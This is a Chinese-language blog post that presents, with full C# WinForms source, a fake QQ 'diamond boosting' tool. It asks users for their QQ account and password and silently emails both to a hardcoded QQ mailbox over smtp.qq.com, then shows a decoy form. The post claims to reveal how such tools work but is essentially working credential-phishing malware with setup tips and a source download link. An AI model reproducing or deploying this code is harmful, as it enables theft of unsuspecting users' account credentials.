很多人愿意贪图小便宜到网上寻找刷钻,刷业务的工具,
同样网上的那些工具比比皆是,可是你知道它们后台中的玄机吗??
我用winform写了一个类似网上刷钻的那个工具,
一个小窗体,上面有各种业务选择后上面两个文本框。一个填写帐号一个填写
密码,当你点击确认刷钻的时候,后台的代码就会执行。。。。
这个小工具就会把你输入的东西发送到后台代码指定的邮箱中去。
这里说下QQ邮箱默认的SMTP是关闭的,如果用QQ邮箱的话,在邮箱
设置里面打开。。
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
namespace QQ
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
if (textBox1.Text == "" || textBox2.Text == "")
{
MessageBox.Show("请输入账号或者密码");
return;
}
else
{
MailMessage message = new MailMessage();
message.From = new System.Net.Mail.MailAddress("757063880@qq.com");
message.To.Add(new System.Net.Mail.MailAddress("757063880@qq.com"));
message.Subject = "得到的邮件";
message.Body = "帐号:" + textBox1.Text + "密码:" + textBox2.Text;
message.IsBodyHtml = true;
System.Net.Mail.SmtpClient smtpclient = new System.Net.Mail.SmtpClient("smtp.qq.com", 25);
smtpclient.Credentials = new System.Net.NetworkCredential("757063880@qq.com", "***********"); //这个地方是你邮箱的密码
smtpclient.Send(message);
Form2 frm = new Form2();
frm.Show();
this.Hide();
}
}
private void button2_Click(object sender, EventArgs e)
{
this.textBox1.Text = "";
this.textBox2.Text = "";
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
this.Close();
}
/// <summary>
/// 无边框窗体移动
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
///
//设置全局变量,初始化
bool beginMove = false;
int currentXPosition = 0;
int currentYPosition = 0;
private void Form1_MouseDown(object sender, MouseEventArgs e)
{
beginMove = true;
//鼠标的X坐标为当前窗体左上角X坐标
currentXPosition = MousePosition.X;
//鼠标的Y坐标为当前窗体左上角Y坐标
currentYPosition = MousePosition.Y;
}
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
if (beginMove)
{
//根据鼠标X坐标确定窗体的左边坐标X
this.Left += MousePosition.X - currentXPosition;
//根据鼠标Y坐标确定窗体的顶部即Y坐标
this.Top += MousePosition.Y - currentYPosition;
//获得鼠标X坐标
currentXPosition = MousePosition.X;
//获得鼠标Y坐标
currentYPosition = MousePosition.Y;
}
}
private void Form1_MouseUp(object sender, MouseEventArgs e)
{
//停止移动
beginMove = false;
}
private void Form1_MouseLeave(object sender, EventArgs e)
{
//设置初始状态
currentXPosition = 0;
currentYPosition = 0;
beginMove = false;
}
}
}
这里是源码下载地址http://dl.dbank.com/c05kgqgcxm